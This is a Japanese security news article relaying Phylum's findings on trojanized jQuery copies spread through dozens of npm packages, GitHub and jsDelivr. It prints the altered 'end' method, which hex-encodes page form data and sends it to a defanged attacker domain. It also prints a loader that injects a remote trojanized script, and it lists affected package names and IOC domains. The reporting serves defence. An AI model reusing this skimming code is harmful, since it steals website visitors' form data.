
海外のセキュリティ企業「Phylum」はトロイの木馬化された「jQuery」がnpmやGitHub、jsDelivr のCDNホストで拡散している事を指摘しました。
目次
jQueryを悪用したサプライチェーン攻撃の概要
Phylumは 2024 年 5 月 26 日以来、トロイの木馬化された jQuery のバージョンを悪用する執拗なサプライ チェーン攻撃者を監視しており、最初に npm でこのjQuery を悪用する亜種を発見しました。
そこでは、1 か月にわたって数十のパッケージで侵害されたバージョンが公開されていました。
調査の結果、GitHubや、jsDelivr の CDN ホスト リソースでも、トロイの木馬化された jQuery のインスタンスを発見しました。
なお、今回解説されている内容は正規のjQueryへ、トロイの木馬が紛れ込んでいるのではなく、
悪意のあるユーザーがnpmやGitHubで公開したプロジェクトの中に、マルウェアを追加したjQueryが紛れ込むという攻撃手法です。
関連記事
jQueryのサプライチェーン攻撃は高い可変性が特徴
この攻撃はパッケージ間の高い可変性が特徴です。
公開されたパッケージは比較的最小限でありながら、
攻撃者はjQueryの完全なコピー(通常はjquery.min.jsと名付けられる)を少なくとも1つ含め、
他にもregistration.min.js、icon.min.js、fontawesome.jsなどのバリエーションが含まれていました。
データを送信するURLはパッケージごとにほぼユニークで、攻撃者は新しいユーザー名を使ってnpmに公開していました。
時折、単一のユーザーが複数の関連するパッケージを公開することもありましたし、プロジェクト内で異なる名前の複数のファイルバージョンを含むこともありました。
興味深いことに、ほとんどのパッケージにはnpmキャッシュフォルダー、npmログフォルダー、termux.propertiesファイルなど、npm公開には通常含まれない個人的なファイルも含まれていました。
全体として、この攻撃は通常我々が見る規模のものとは異なり、明確なパターンや自動化された側面が見られません。
ここでは、パッケージのアドホックな性質とカスタムの可変性、そして長期間にわたる公開が、各パッケージが手動で組み立てられ公開されたことを示唆しています。
jQueryのサプライチェーン攻撃の内容
前述のように、各パッケージには jQuery のコピーが含まれていましたが、小さな違いが 1 つありました。
それは、jQueryプロトタイプの一部であるend関数が、追加の悪意のあるコードを含むように修正されていることです。以下がその部分です:
end: async function () {
await $.ajax({
url: "<https://anti-spam>[.]truex[.]biz[.]id/halo/?cat=" + (function (e) {
for (var t, n = 0, r = e.length, i = ""; n < r; ++n)
i += (t = e.charCodeAt(n).toString(16)).length < 2 ? "0" + t : t;
return i;
})($("form").serialize()),
type: "GET",
dataType: "text",
headers: { "Content-type": "application/json" },
});
}
jQueryのドキュメントによると、このend
メソッドは
現在のチェーン内の最新のフィルタリング操作を終了し、一致した要素のセットを以前の状態に戻すと記載されています。
上記の通りend
メソッドは単に前のオブジェクトを返します。
しかし、悪意のあるコードでは、攻撃者は$.ajaxを介してリモートURLへの非ブロッキングGETリクエストを発行しています。
URLには、パッケージごとに異なるクエリパラメータ(ここでは$(“form”).serialize()によってページ上のすべてのフォームデータをシリアライズして生成)が含まれます。
シリアライズされたデータは16進文字列にエンコードされます。
つまり、このトロイの木馬化されたバージョンを使用すると、end関数が呼び出されるたびに、ページ上のすべてのフォームデータが外部に送信されます。
Phylum の調査によると、end関数は直接広く使用されていないようです。
fadeToメソッドがendメソッドを利用している
しかし、jQueryライブラリの他の部分を見てみると、jQueryのアニメーションツールキットのfadeToメソッドがendメソッドを使用していることがわかります。
fadeToはendよりも広く使用されています。
fadeToメソッドの関連スニペット
fadeTo: function (e, t, n, r) {
return this.filter(ae)
.css("opacity", 0)
.show()
.end()
.animate({ opacity: t }, e, n, r);
}
indexscというユーザーがトロイの木馬化されたjQueryファイルをホスト
GitHubでindexscというユーザーがトロイの木馬化されたjQueryファイルの複数のバージョンをホストしていることも判明しました。

画像引用:Phylum
ajaxリポジトリにトロイの木馬化されたjQueryを発見
indexscのajaxリポジトリを見てみると、slim.jsとall-min.jsの両方にトロイの木馬化されたバージョンが含まれていました。

画像引用:Phylum
興味深いことに、icons.jsとmin.jsの両方に、リモートソースから新しいスクリプトタグを追加するスクリプトが含まれています。
Ionicons を非推奨である警告を生成し、古いバージョンへ置き換えを促す
!function (e) {
var t = ["[ionicons] Deprecated script, please remove: " + (s = e.scripts[e.scripts.length - 1]).outerHTML];
t.push("To improve performance it is recommended to set the differential scripts in the head as follows:");
var n = s.src.split("/");
n.pop();
n.push("ionicons");
var s;
n.join("/");
(s = e.createElement("script")).setAttribute("type", "module"), s.src = "<https://unpkg.com/ionicons@5.0.0/dist/ionicons/ionicons.esm.js>",
t.push(s.outerHTML),
s.setAttribute("data-stencil-namespace", "ionicons"),
e.head.appendChild(s),
(s = e.createElement("script")).setAttribute("nomodule", ""),
s.src = "<https://unpkg.com/ionicons@5.0.0/dist/ionicons/ionicons.js>",
t.push(s.outerHTML),
s.setAttribute("data-stencil-namespace", "ionicons"),
e.head.appendChild(s),
console.warn(t.join("\\n"))
}(document),
function () {
var e = document.createElement("script");
e.type = "text/javascript";
e.src = "<https://cdn.jsdelivr.net/gh/indexsc/libs/slim.js>";
document.body.appendChild(e);
}();
上記スクリプトも疑わしいものです。
まず、Ionicons のバージョンが非推奨であることを示す偽の警告を生成し (現在のバージョンが何であるかさえ確認せずに)、それを v5.0.0 に置き換えます。
これは奇妙なことで、なぜなら、Ionicons の v5.0.0 は 2020 年 2 月にリリースされたからです。現在のバージョンは 7.4.0 で、2024 年 5 月にリリースされました。
ユーザーに ionicons の v5.0.0 を強制した後、ドキュメントの本文に新しいスクリプト要素を追加し、そのソースを https://cdn[.]jsdelivr[.]net/gh/indexsc/libs/slim.js
に設定します。
これも非常に疑わしいもので、当然のことながら、そこへ移動すると、これもトロイの木馬化されたバージョンであることがわかります。
jsdelivrを明示的に指定しファイアウォールをすり抜ける

画像引用:Phylum
jsdelivrはこれらのGitHub URLを自動的に生成し、CDNに明示的にアップロードする必要がないことに注意が必要です。
これは、おそらく攻撃者がソースをより合法的に見せるか、GitHub自体からコードを直接読み込む代わりにjsdelivrを使用してファイアウォールを通過させようとする試みです。
攻撃者の意図は不明 しかし潜在的な影響は広い
Phylumの研究者らは、マルウェアが起動するには、
・ユーザーが悪意のあるパッケージの 1 つをインストールし
・含まれているトロイの木馬化された jQuery ファイルを使用して
・end 関数または fadeTo関数のいずれかを呼び出す必要がある
と指摘しました。
特定の条件が複数あるため、高度に標的を絞った攻撃なのか、攻撃者が広範囲にのユーザーにランダムに影響を与えたいのか意図は不明です。
しかしパッケージの数の多さ、命名規則の多様性、パッケージ内に個人ファイルが含まれていることなどから、攻撃者の能力と意図について疑問が生じており、
これらの要素は、実際のマルウェア自体の洗練された性質や、その悪意を明白に隠すための努力とは対照的です。
マルウェアを作動させるために必要な条件は限られていますが、パッケージが広く配布されているため、潜在的な影響は広く、多くの無防備な開発者に影響を与える可能性があり、
この新しい攻撃は、サプライ チェーンの脅威アクターの複雑さと範囲の広さが増していることを示す好例だと述べています。
「jQuery」のサプライチェーン攻撃に関連するパッケージ
人気のだったBootstrapCloudやFont Awesomeが含まれています。
リリース日 | 名前 | バージョン |
---|---|---|
2024-06-23 | icnes | 8.0.0 |
2024-06-23 | stylesyosx | 9.0.3 |
2024-06-22 | imagegs | 1.0.0 |
2024-06-22 | yorz | 3.0.0 |
2024-06-21 | kurxjy | 9.0.0 |
2024-06-20 | kinthailxzz | 1.0.0 |
2024-06-19 | ganz | 2.0.1 |
2024-06-19 | kikos | 1.0.0 |
2024-06-17 | rgmedia | 3.7.2 |
2024-06-17 | rgmedia21 | 3.7.3 |
2024-06-17 | ngentot | 3.7.1 |
2024-06-17 | mediaa | 2.0.0 |
2024-06-16 | jquerrty | 3.0.0 |
2024-06-16 | styyle | 3.0.0 |
2024-06-16 | my-gh | 8.0.1 |
2024-06-16 | sytlesheets | 3.0.0 |
2024-06-16 | stylessheet | 3.0.0 |
2024-06-15 | styleshteks | 2.0.0 |
2024-06-15 | fontawessome | 9.0.1 |
2024-06-15 | fontawesom-1 | 9.0.1 |
2024-06-14 | nesiahanzz | 1.0.0 |
2024-06-14 | dsiailon | 1.0.0 |
2024-06-14 | footersicons | 3.0.0 |
2024-06-14 | footericonss | 3.6.0 |
2024-06-14 | footericonds | 3.7.1 |
2024-06-14 | fontawesome-3 | 2.0.0 |
2024-06-14 | fontawesom-4 | 2.0.0 |
2024-06-13 | jquertyi | 3.6.4 |
2024-06-13 | fontawesome-2 | 9.0.1 |
2024-06-13 | stylishteksz | 2.0.0 |
2024-06-13 | stylescss | 9.0.1 |
2024-06-12 | dsiain | 1.0.0 |
2024-06-11 | logoo | 2.0.0 |
2024-06-11 | stylishhteks | 2.0.1 |
2024-06-10 | imagezz | 1.0.0 |
2024-06-10 | stylishtekss | 3.0.0 |
2024-06-10 | stylesheeet | 9.0.1 |
2024-06-09 | dnuhstng | 2.0.0 |
2024-06-09 | stylishteks | 2.0.0 |
2024-06-09 | mobiletrack | 9.0.0 |
2024-06-09 | fontaway | 9.0.0 |
2024-06-08 | sttylee | 9.0.1 |
2024-06-06 | kontolq | 9.0.1 |
2024-06-06 | kimakq | 9.0.1 |
2024-06-05 | awokkdyaa | 9.0.1 |
2024-06-05 | vxcs | 9.0.1 |
2024-06-05 | kimakz | 9.0.1 |
2024-06-05 | xhyp | 9.0.1 |
2024-06-05 | xytta | 1.0.0 |
2024-06-05 | livinjs | 1.0.0 |
2024-06-04 | fontawesome-1 | 9.0.0 |
2024-06-04 | fontwesome | 9.0.0 |
2024-06-04 | footricon | 9.0.0 |
2024-06-04 | bootstrapcloud | 1.3.3 |
2024-06-04 | flammerxdjson | 9.0.1 |
2024-06-04 | ajexx | 9.0.0 |
2024-06-04 | komcay | 9.0.1 |
2024-06-04 | ajex | 9.0.1 |
2024-06-04 | komcaxx | 9.0.2 |
2024-06-04 | komcaxx | 9.0.1 |
2024-06-03 | komcax | 9.0.0 |
2024-06-03 | cloudhosting | 7.13.0 |
2024-06-02 | cloudhost | 7.13.0 |
2024-06-02 | bootrun | 3.9.7 |
2024-06-02 | xxxtesting | 1.2.0 |
2024-06-02 | bootstar | 9.4.8 |
2024-06-02 | jqueryxxx | 1.0.0 |
2024-05-26 | cdnjquery | 9.0.1 |
このキャンペーンで使用されたドメイン
https://paneljs[.]hanznesia[.]my[.]id
https://api-web-vrip[.]hanznesia[.]my[.]id
https://log[.]api-system[.]engineer
https://irisainginbos[.]icikipoxx[.]pw
https://patipride[.]icikipoxx[.]pw
https://apii[.]fukaes[.]ninja
https://pukil[.]dannew[.]biz[.]id
https://api[.]jstyy[.]xyz
https://qxue[.]biz[.]id
https://api[.]newrxl[.]online
https://api[.]iimg[.]my[.]id
https://apiweb[.]eventtss[.]my[.]id
https://pokemon[.]denii[.]biz[.]id
https://apii[.]codatuys[.]cab
https://api[.]codatuys[.]biz[.]id
https://saystem[.]ditzzultimate[.]xyz
https://paneljs[.]dimashost[.]xyz
https://cssimage[.]dimashost[.]xyz
https://ajax[.]failexpect[.]biz[.]id
https://ns[.]api-system[.]engineer
https://log[.]systems-alexhost[.]xyz
https://api-system[.]engineer
https://systems-alexhost[.]xyz
https://panel[.]api-bo[.]my[.]id
https://project[.]systemgoods[.]me
https://danu[.]eventtss[.]my[.]id
https://panel-host[.]clannesia[.]com
http://apii-pandawara[.]ganznesia[.]my[.]id
https://system-alexhosting[.]biz[.]id
https://nd[.]api-system[.]engineer
https://anti-spam[.]truex[.]biz[.]id
https://panel-host[.]dmdpanel[.]my[.]id
https://api-bo[.]my[.]id